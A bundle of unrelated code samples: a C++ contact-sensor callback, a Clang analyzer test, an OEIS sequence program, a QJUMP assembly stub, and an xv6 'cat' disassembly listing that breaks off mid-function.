void ContactSensor::OnContact(const std::string &_collisionName,
const physics::Contact &_contact)
{
this->mutex->lock();
this->contacts[_collisionName][_contact.collision2->GetName()] = _contact;
this->mutex->unlock();
}
|
// RUN: %clang_analyze_cc1 \
// RUN: -analyzer-checker=core -analyzer-config \
// RUN: silence-checkers=core \
// RUN: -verify %s
// RUN: %clang_analyze_cc1 \
// RUN: -analyzer-checker=core -analyzer-config \
// RUN: silence-checkers="core.DivideZero;core.NullDereference" \
// RUN: -verify %s
// RUN: not %clang_analyze_cc1 -verify %s \
// RUN: -analyzer-checker=core -analyzer-config \
// RUN: silence-checkers=core.NullDeref \
// RUN: 2>&1 | FileCheck %s -check-prefix=CHECK-CHECKER-ERROR
// CHECK-CHECKER-ERROR: (frontend): no analyzer checkers or packages
// CHECK-CHECKER-ERROR-SAME: are associated with 'core.NullDeref'
// RUN: not %clang_analyze_cc1 -verify %s \
// RUN: -analyzer-checker=core -analyzer-config \
// RUN: silence-checkers=coreModeling \
// RUN: 2>&1 | FileCheck %s -check-prefix=CHECK-PACKAGE-ERROR
// CHECK-PACKAGE-ERROR: (frontend): no analyzer checkers or packages
// CHECK-PACKAGE-ERROR-SAME: are associated with 'coreModeling'
void test_disable_core_div_by_zero() {
(void)(1 / 0);
// expected-warning@-1 {{division by zero is undefined}}
// no-warning: 'Division by zero'
}
void test_disable_null_deref(int *p) {
if (p)
return;
int x = p[0];
// no-warning: Array access (from variable 'p') results in a null pointer dereference
}
|
; A213077: a(n) = round(n^2 - sqrt(n)).
; Submitted by Jon Maiga
; 0,0,3,7,14,23,34,46,61,78,97,118,141,165,192,221,252,285,320,357,396,436,479,524,571,620,671,724,779,836,895,955,1018,1083,1150,1219,1290,1363,1438,1515,1594,1675,1758,1842,1929,2018,2109,2202,2297,2394,2493,2594,2697,2802,2909,3018,3129,3241,3356,3473,3592,3713,3836,3961,4088,4217,4348,4481,4616,4753,4892,5033,5176,5320,5467,5616,5767,5920,6075,6232,6391,6552,6715,6880,7047,7216,7387,7560,7735,7912,8091,8271,8454,8639,8826,9015,9206,9399,9594,9791
mov $1,$0
pow $0,2
add $0,40
lpb $1
sub $0,1
add $2,2
trn $1,$2
lpe
sub $0,40
|
; HOTKEY Extensions V2.00 1990 Tony Tebby QJUMP
section base
xref hxt_init
bra.l hxt_init
section version
section language
section procs
section exten
end
|
_cat: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
}
}
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: be 01 00 00 00 mov $0x1,%esi
16: 83 ec 18 sub $0x18,%esp
19: 8b 01 mov (%ecx),%eax
1b: 8b 59 04 mov 0x4(%ecx),%ebx
1e: 83 c3 04 add $0x4,%ebx
int fd, i;
if(argc <= 1){
21: 83 f8 01 cmp $0x1,%eax
}
}
int
main(int argc, char *argv[])
{
24: 89 45 e4 mov %eax,-0x1c(%ebp)
int fd, i;
if(argc <= 1){
27: 7e 54 jle 7d <main+0x7d>
29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
cat(0);
exit();
}
for(i = 1; i < argc; i++){
if((fd = open(argv[i], 0)) < 0){
30: 83 ec 08 sub $0x8,%esp
33: 6a 00 push $0x0
35: ff 33 pushl (%ebx)
37: e8 56 03 00 00 call 392 <open>
3c: 83 c4 10 add $0x10,%esp
3f: 85 c0 test %eax,%eax
41: 89 c7 mov %eax,%edi
43: 78 24 js 69 <main+0x69>
printf(1, "cat: cannot open %s\n", argv[i]);
exit();
}
cat(fd);
45: 83 ec 0c sub $0xc,%esp
if(argc <= 1){
cat(0);
exit();
}
for(i = 1; i < argc; i++){
48: 83 c6 01 add $0x1,%esi
4b: 83 c3 04 add $0x4,%ebx
if((fd = open(argv[i], 0)) < 0){
printf(1, "cat: cannot open %s\n", argv[i]);
exit();
}
cat(fd);
4e: 50 push %eax
4f: e8 3c 00 00 00 call 90 <cat>
close(fd);
54: 89 3c 24 mov %edi,(%esp)
57: e8 1e 03 00 00 call 37a <close>
if(argc <= 1){
cat(0);
exit();
}
for(i = 1; i < argc; i++){
5c: 83 c4 10 add $0x10,%esp
5f: 39 75 e4 cmp %esi,-0x1c(%ebp)
62: 75 cc jne 30 <main+0x30>
exit();
}
cat(fd);
close(fd);
}
exit();
64: e8 e9 02 00 00 call 352 <exit>
exit();
}
for(i = 1; i < argc; i++){
if((fd = open(argv[i], 0)) < 0){
printf(1, "cat: cannot open %s\n", argv[i]);
69: 50 push %eax
6a: ff 33 pushl (%ebx)
6c: 68 e3 07 00 00 push $0x7e3
71: 6a 01 push $0x1
73: e8 28 04 00 00 call 4a0 <printf>
exit();
78: e8 d5 02 00 00 call 352 <exit>
main(int argc, char *argv[])
{
int fd, i;
if(argc <= 1){
cat(0);
7d: 83 ec 0c sub $0xc,%esp
80: 6a 00 push $0x0
82: e8 09 00 00 00 call 90 <cat>
exit();
87: e8 c6 02 00 00 call 352 <exit>
8c: 66 90 xchg %ax,%ax
8e: 66 90 xchg %ax,%ax
00000090 <cat>:
char buf[512];
void
cat(int fd)
{
90: 55 push %ebp
91: 89 e5 mov %esp,%ebp
93: 56 push %esi
94: 53 push %ebx
95: 8b 75 08 mov 0x8(%ebp),%esi
int n;
while((n = read(fd, buf, sizeof(buf))) > 0) {
98: eb 1d jmp b7 <cat+0x27>
9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if (write(1, buf, n) != n) {
a0: 83 ec 04 sub $0x4,%esp
a3: 53 push %ebx
a4: 68 00 0b 00 00 push $0xb00
a9: 6a 01 push $0x1
ab: e8 c2 02 00 00 call 372 <write>
b0: 83 c4 10 add $0x10,%esp
b3: 39 c3 cmp %eax,%ebx
b5: 75 26 jne dd <cat+0x4d>
void
cat(int fd)
{
int n;
while((n = read(fd, buf, sizeof(buf))) > 0) {
b7: 83 ec 04 sub $0x4,%esp
ba: 68 00 02 00 00 push $0x200
bf: 68 00 0b 00 00 push $0xb00
c4: 56 push %esi
c5: e8 a0 02 00 00 call 36a <read>
ca: 83 c4 10 add $0x10,%esp
cd: 83 f8 00 cmp $0x0,%eax
d0: 89 c3 mov %eax,%ebx
d2: 7f cc jg a0 <cat+0x10>
if (write(1, buf, n) != n) {
printf(1, "cat: write error\n");
exit();
}
}
if(n < 0){
d4: 75 1b jne f1 <cat+0x61>
printf(1, "cat: read error\n");
exit();
}
}
d6: 8d 65 f8 lea -0x8(%ebp),%esp
d9: 5b pop %ebx
da: 5e pop %esi
db: 5d pop %ebp
dc: c3 ret
{
int n;
while((n = read(fd, buf, sizeof(buf))) > 0) {
if (write(1, buf, n) != n) {
printf(1, "cat: write error\n");
dd: 83 ec 08 sub $0x8,%esp
e0: 68 c0 07 00 00 push $0x7c0
e5: 6a 01 push $0x1
e7: e8 b4 03 00 00 call 4a0 <printf>
exit();
ec: e8 61 02 00 00 call 352 <exit>
}
}
if(n < 0){
printf(1, "cat: read error\n");
f1: 83 ec 08 sub $0x8,%esp
f4: 68 d2 07 00 00 push $0x7d2
f9: 6a 01 push $0x1
fb: e8 a0 03 00 00 call 4a0 <printf>
exit();
100: e8 4d 02 00 00 call 352 <exit>
105: 66 90 xchg %ax,%ax
107: 66 90 xchg %ax,%ax
109: 66 90 xchg %ax,%ax
10b: 66 90 xchg %ax,%ax
10d: 66 90 xchg %ax,%ax
10f: 90 nop
00000110 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
110: 55 push %ebp
111: 89 e5 mov %esp,%ebp
113: 53 push %ebx
114: 8b 45 08 mov 0x8(%ebp),%eax
117: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
11a: 89 c2 mov %eax,%edx
11c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
120: 83 c1 01 add $0x1,%ecx
123: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
127: 83 c2 01 add $0x1,%edx
12a: 84 db test %bl,%bl
12c: 88 5a ff mov %bl,-0x1(%edx)
12f: 75 ef jne 120 <strcpy+0x10>
;
return os;
}
131: 5b pop %ebx
132: 5d pop %ebp
133: c3 ret
134: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
13a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000140 <strcmp>:
int
strcmp(const char *p, const char *q)
{
140: 55 push %ebp
141: 89 e5 mov %esp,%ebp
143: 56 push %esi
144: 53 push %ebx
145: 8b 55 08 mov 0x8(%ebp),%edx
148: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
14b: 0f b6 02 movzbl (%edx),%eax
14e: 0f b6 19 movzbl (%ecx),%ebx
151: 84 c0 test %al,%al
153: 75 1e jne 173 <strcmp+0x33>
155: eb 29 jmp 180 <strcmp+0x40>
157: 89 f6 mov %esi,%esi
159: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
160: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
163: 0f b6 02 movzbl (%edx),%eax
p++, q++;
166: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
169: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
16d: 84 c0 test %al,%al
16f: 74 0f je 180 <strcmp+0x40>
171: 89 f1 mov %esi,%ecx
173: 38 d8 cmp %bl,%al
175: 74 e9 je 160 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
177: 29 d8 sub %ebx,%eax
}
179: 5b pop %ebx
17a: 5e pop %esi
17b: 5d pop %ebp
17c: c3 ret
17d: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
180: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
182: 29 d8 sub %ebx,%eax
}
184: 5b pop %ebx
185: 5e pop %esi
186: 5d pop %ebp
187: c3 ret
188: 90 nop
189: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000190 <strlen>:
uint
strlen(char *s)
{
190: 55 push %ebp
191: 89 e5 mov %esp,%ebp
193: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
196: 80 39 00 cmpb $0x0,(%ecx)
199: 74 12 je 1ad <strlen+0x1d>
19b: 31 d2 xor %edx,%edx
19d: 8d 76 00 lea 0x0(%esi),%esi
1a0: 83 c2 01 add $0x1,%edx
1a3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
1a7: 89 d0 mov %edx,%eax
1a9: 75 f5 jne 1a0 <strlen+0x10>
;
return n;
}
1ab: 5d pop %ebp
1ac: c3 ret
uint
strlen(char *s)
{
int n;
for(n = 0; s[n]; n++)
1ad: 31 c0 xor %eax,%eax
;
return n;
}
1af: 5d pop %ebp
1b0: c3 ret
1b1: eb 0d jmp 1c0 <memset>
1b3: 90 nop
1b4: 90 nop
1b5: 90 nop
1b6: 90 nop
1b7: 90 nop
1b8: 90 nop
1b9: 90 nop
1ba: 90 nop
1bb: 90 nop
1bc: 90 nop
1bd: 90 nop
1be: 90 nop
1bf: 90 nop
000001c0 <memset>:
void*
memset(void *dst, int c, uint n)
{
1c0: 55 push %ebp
1c1: 89 e5 mov %esp,%ebp
1c3: 57 push %edi
1c4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
1c7: 8b 4d 10 mov 0x10(%ebp),%ecx
1ca: 8b 45 0c mov 0xc(%ebp),%eax
1cd: 89 d7 mov %edx,%edi
1cf: fc cld
1d0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
1d2: 89 d0 mov %edx,%eax
1d4: 5f pop %edi
1d5: 5d pop %ebp
1d6: c3 ret
1d7: 89 f6 mov %esi,%esi
1d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001e0 <strchr>:
char*
strchr(const char *s, char c)
{
1e0: 55 push %ebp
1e1: 89 e5 mov %esp,%ebp
1e3: 53 push %ebx
1e4: 8b 45 08 mov 0x8(%ebp),%eax
1e7: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
1ea: 0f b6 10 movzbl (%eax),%edx
1ed: 84 d2 test %dl,%dl
1ef: 74 1d je 20e <strchr+0x2e>
if(*s == c)
1f1: 38 d3 cmp %dl,%bl
1f3: 89 d9 mov %ebx,%ecx
1f5: 75 0d jne 204 <strchr+0x24>
1f7: eb 17 jmp 210 <strchr+0x30>
1f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
200: 38 ca cmp %cl,%dl
202: 74 0c je 210 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
204: 83 c0 01 add $0x1,%eax
207: 0f b6 10 movzbl (%eax),%edx
20a: 84 d2 test %dl,%dl
20c: 75 f2 jne 200 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
20e: 31 c0 xor %eax,%eax
}
210: 5b pop %ebx
211: 5d pop %ebp
212: c3 ret
213: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000220 <gets>:
char*
gets(char *buf, int max)
{
220: 55 push %ebp
221: 89 e5 mov %esp,%ebp
223: 57 push %edi
224: 56 push %esi
225: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
226: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
228: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
22b: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
22e: eb 29 jmp 259 <gets+0x39>
cc = read(0, &c, 1);
230: 83 ec 04 sub $0x4,%esp
233: 6a 01 push $0x1
235: 57 push %edi
236: 6a 00 push $0x0
238: e8 2d 01 00 00 call 36a <read>
if(cc < 1)
23d: 83 c4 10 add $0x10,%esp
240: 85 c0 test %eax,%eax
242: 7e 1d jle 261 <gets+0x41>
break;
buf[i++] = c;
244: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
248: 8b 55 08 mov 0x8(%ebp),%edx
24b: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
24d: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
24f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
253: 74 1b je 270 <gets+0x50>
255: 3c 0d cmp $0xd,%al
257: 74 17 je 270 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
259: 8d 5e 01 lea 0x1(%esi),%ebx
25c: 3b 5d 0c cmp 0xc(%ebp),%ebx
25f: 7c cf jl 230 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
261: 8b 45 08 mov 0x8(%ebp),%eax
264: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
268: 8d 65 f4 lea -0xc(%ebp),%esp
26b: 5b pop %ebx
26c: 5e pop %esi
26d: 5f pop %edi
26e: 5d pop %ebp
26f: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
270: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
273: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
275: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
279: 8d 65 f4 lea -0xc(%ebp),%esp
27c: 5b pop %ebx
27d: 5e pop %esi
27e: 5f pop %edi
27f: 5d pop %ebp
280: c3 ret
281: eb 0d jmp 290 <stat>
283: 90 nop
284: 90 nop
285: 90 nop
286: 90 nop
287: 90 nop
288: 90 nop
289: 90 nop
28a: 90 nop
28b: 90 nop
28c: 90 nop
28d: 90 nop
28e: 90 nop
28f: 90 nop
00000290 <stat>:
int
stat(char *n, struct stat *st)
{
290: 55 push %ebp
291: 89 e5 mov %esp,%ebp
293: 56 push %esi
294: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
295: 83 ec 08 sub $0x8,%esp
298: 6a 00 push $0x0
29a: ff 75 08 pushl 0x8(%ebp)
29d: e8 f0 00 00 00 call 392 <open>
if(fd < 0)
2a2: 83 c4 10 add $0x10,%esp
2a5: 85 c0 test %eax,%eax
2a7: 78 27 js 2d0 <stat+0x40>
return -1;
r = fstat(fd, st);
2a9: 83 ec 08 sub $0x8,%esp
2ac: ff 75 0c pushl 0xc(%ebp)
2af: 89 c3 mov %eax,%ebx
2b1: 50 push %eax
2b2: e8 f3 00 00 00 call 3aa <fstat>
close(fd);
2b7: 89 1c 24 mov %ebx,(%esp)
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
r = fstat(fd, st);
2ba: 89 c6 mov %eax,%esi
close(fd);
2bc: e8 b9 00 00 00 call 37a <close>
return r;
2c1: 83 c4 10 add $0x10,%esp
}
2c4: 8d 65 f8 lea -0x8(%ebp),%esp
2c7: 89 f0 mov %esi,%eax
2c9: 5b pop %ebx
2ca: 5e pop %esi
2cb: 5d pop %ebp
2cc: c3 ret
2cd: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
2d0: be ff ff ff ff mov $0xffffffff,%esi
2d5: eb ed jmp 2c4 <stat+0x34>
2d7: 89 f6 mov %esi,%esi
2d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002e0 <atoi>:
return r;
}
int
atoi(const char *s)
{
2e0: 55 push %ebp
2e1: 89 e5 mov %esp,%ebp
2e3: 53 push %ebx
2e4: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
2e7: 0f be 11 movsbl (%ecx),%edx
2ea: 8d 42 d0 lea -0x30(%edx),%eax
2ed: 3c 09 cmp $0x9,%al
2ef: b8 00 00 00 00 mov $0x0,%eax
2f4: 77 1f ja 315 <atoi+0x35>
2f6: 8d 76 00 lea 0x0(%esi),%esi
2f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
300: 8d 04 80 lea (%eax,%eax,4),%eax
303: 83 c1 01 add $0x1,%ecx
306: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
30a: 0f be 11 movsbl (%ecx),%edx
30d: 8d 5a d0 lea -0x30(%edx),%ebx
310: 80 fb 09 cmp $0x9,%bl
313: 76 eb jbe 300 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
315: 5b pop %ebx
316: 5d pop %ebp
317: c3 ret
318: 90 nop
319: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000320 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
320: 55 push %ebp
321: 89 e5 mov %esp,%ebp
323: 56 push %esi
324: 53 push %ebx
325: 8b 5d 10 mov 0x10(%ebp),%ebx
328: 8b 45 08 mov 0x8(%ebp),%eax
32b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
32e: 85 db test %ebx,%ebx
330: 7e 14 jle 346 <memmove+0x26>
332: 31 d2 xor %edx,%edx
334: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
338: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
33c: 88 0c 10 mov %cl,(%eax,%edx,1)
33f: 83 c2 01 add $0x1,%edx
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
342: 39 da cmp %ebx,%edx
344: 75 f2 jne 338 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
346: 5b pop %ebx
347: 5e pop %esi
348: 5d pop %ebp
349: c3 ret
0000034a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
34a: b8 01 00 00 00 mov $0x1,%eax
34f: cd 40 int $0x40
351: c3 ret
00000352 <exit>:
SYSCALL(exit)
352: b8 02 00 00 00 mov $0x2,%eax
357: cd 40 int $0x40
359: c3 ret
0000035a <wait>:
SYSCALL(wait)
35a: b8 03 00 00 00 mov $0x3,%eax
35f: cd 40 int $0x40
361: c3 ret
00000362 <pipe>:
SYSCALL(pipe)
362: b8 04 00 00 00 mov $0x4,%eax
367: cd 40 int $0x40
369: c3 ret
0000036a <read>:
SYSCALL(read)
36a: b8 05 00 00 00 mov $0x5,%eax
36f: cd 40 int $0x40
371: c3 ret
00000372 <write>:
SYSCALL(write)
372: b8 10 00 00 00 mov $0x10,%eax
377: cd 40 int $0x40
379: c3 ret
0000037a <close>:
SYSCALL(close)
37a: b8 15 00 00 00 mov $0x15,%eax
37f: cd 40 int $0x40
381: c3 ret
00000382 <kill>:
SYSCALL(kill)
382: b8 06 00 00 00 mov $0x6,%eax
387: cd 40 int $0x40
389: c3 ret
0000038a <exec>:
SYSCALL(exec)
38a: b8 07 00 00 00 mov $0x7,%eax
38f: cd 40 int $0x40
391: c3 ret
00000392 <open>:
SYSCALL(open)
392: b8 0f 00 00 00 mov $0xf,%eax
397: cd 40 int $0x40
399: c3 ret
0000039a <mknod>:
SYSCALL(mknod)
39a: b8 11 00 00 00 mov $0x11,%eax
39f: cd 40 int $0x40
3a1: c3 ret
000003a2 <unlink>:
SYSCALL(unlink)
3a2: b8 12 00 00 00 mov $0x12,%eax
3a7: cd 40 int $0x40
3a9: c3 ret
000003aa <fstat>:
SYSCALL(fstat)
3aa: b8 08 00 00 00 mov $0x8,%eax
3af: cd 40 int $0x40
3b1: c3 ret
000003b2 <link>:
SYSCALL(link)
3b2: b8 13 00 00 00 mov $0x13,%eax
3b7: cd 40 int $0x40
3b9: c3 ret
000003ba <mkdir>:
SYSCALL(mkdir)
3ba: b8 14 00 00 00 mov $0x14,%eax
3bf: cd 40 int $0x40
3c1: c3 ret
000003c2 <chdir>:
SYSCALL(chdir)
3c2: b8 09 00 00 00 mov $0x9,%eax
3c7: cd 40 int $0x40
3c9: c3 ret
000003ca <dup>:
SYSCALL(dup)
3ca: b8 0a 00 00 00 mov $0xa,%eax
3cf: cd 40 int $0x40
3d1: c3 ret
000003d2 <getpid>:
SYSCALL(getpid)
3d2: b8 0b 00 00 00 mov $0xb,%eax
3d7: cd 40 int $0x40
3d9: c3 ret
000003da <sbrk>:
SYSCALL(sbrk)
3da: b8 0c 00 00 00 mov $0xc,%eax
3df: cd 40 int $0x40
3e1: c3 ret
000003e2 <sleep>:
SYSCALL(sleep)
3e2: b8 0d 00 00 00 mov $0xd,%eax
3e7: cd 40 int $0x40
3e9: c3 ret
000003ea <uptime>:
SYSCALL(uptime)
3ea: b8 0e 00 00 00 mov $0xe,%eax
3ef: cd 40 int $0x40
3f1: c3 ret
3f2: 66 90 xchg %ax,%ax
3f4: 66 90 xchg %ax,%ax
3f6: 66 90 xchg %ax,%ax
3f8: 66 90 xchg %ax,%ax
3fa: 66 90 xchg %ax,%ax
3fc: 66 90 xchg %ax,%ax
3fe: 66 90 xchg %ax,%ax
00000400 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 57 push %edi
404: 56 push %esi
405: 53 push %ebx
406: 89 c6 mov %eax,%esi
408: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
40b: 8b 5d 08 mov 0x8(%ebp),%ebx
40e: 85 db test %ebx,%ebx
410: 74 7e je 490 <printint+0x90>
412: 89 d0 mov %edx,%eax
414: c1 e8 1f shr $0x1f,%eax
417: 84 c0 test %al,%al
419: 74 75 je 490 <printint+0x90>
neg = 1;
x = -xx;
41b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
41d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
424: f7 d8 neg %eax
426: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
429: 31 ff xor %edi,%edi
42b: 8d 5d d7 lea -0x29(%ebp),%ebx
42e: 89 ce mov %ecx,%esi
430: eb 08 jmp 43a <printint+0x3a>
432: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
438: 89 cf mov %ecx,%edi
43a: 31 d2 xor %edx,%edx
43c: 8d 4f 01 lea 0x1(%edi),%ecx
43f: f7 f6 div %esi
441: 0f b6 92 00 08 00 00 movzbl 0x800(%edx),%edx
}while((x /= base) != 0);
448: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
44a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
44d: 75 e9 jne 438 <printint+0x38>
if(neg)
44f: 8b 45 c4 mov -0x3c(%ebp),%eax
452: 8b 75 c0 mov -0x40(%ebp),%esi
455: 85 c0 test %eax,%eax
457: 74 08 je 461 <printint+0x61>
buf[i++] = '-';
459: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
45e: 8d 4f 02 lea 0x2(%edi),%ecx
while(--i >= 0)
461: 8d 79 ff lea -0x1(%ecx),%edi
464: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
468: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
46d: 83 ec 04 sub $0x4,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
470: 83 ef 01 sub $0x1,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
473: 6a 01 push $0x1
475: 53 push %ebx
476: 56 push %esi
477: 88 45 d7 mov %al,-0x29(%ebp)
47a: e8 f3 fe ff ff call 372 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
47f: 83 c4 10 add $0x10,%esp
482: 83 ff ff cmp $0xffffffff,%edi
485: 75 e1 jne 468 <printint+0x68>
putc(fd, buf[i]);
}
487: 8d 65 f4 lea -0xc(%ebp),%esp
48a: 5b pop %ebx
48b: 5e pop %esi
48c: 5f pop %edi
48d: 5d pop %ebp
48e: c3 ret
48f: 90 nop
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
490: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
492: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
499: eb 8b jmp 426 <printint+0x26>
49b: 90 nop
49c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000004a0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4a0: 55 push %ebp
4a1: 89 e5 mov %esp,%ebp
4a3: 57 push %edi
4a4: 56 push %esi
4a5: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4a6: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4a9: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4ac: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4af: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4b2: 89 45 d0 mov %eax,-0x30(%ebp)
4b5: 0f b6 1e movzbl (%esi),%ebx
4b8: 83 c6 01 add $0x1,%esi
4bb: 84 db test %bl,%bl
4bd: 0f 84 b0 00 00 00 je 573 <printf+0xd3>
4c3: 31 d2 xor %edx,%edx
4c5: eb 39 jmp 500 <printf+0x60>
4c7: 89 f6 mov %esi,%esi
4c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
4d0: 83 f8 25 cmp $0x25,%eax
4d3: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
4d6: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
4db: 74 18 je 4f5 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
4dd: 8d 45 e2 lea -0x1e(%ebp),%eax
4e0: 83 ec 04 sub $0x4,%esp
4e3: 88 5d e2 mov %bl,-0x1e(%ebp)
4e6: 6a 01 push $0x1
4e8: 50 push %eax
4e9: 57 push %edi
4ea: e8 83 fe ff ff call 372 <write>
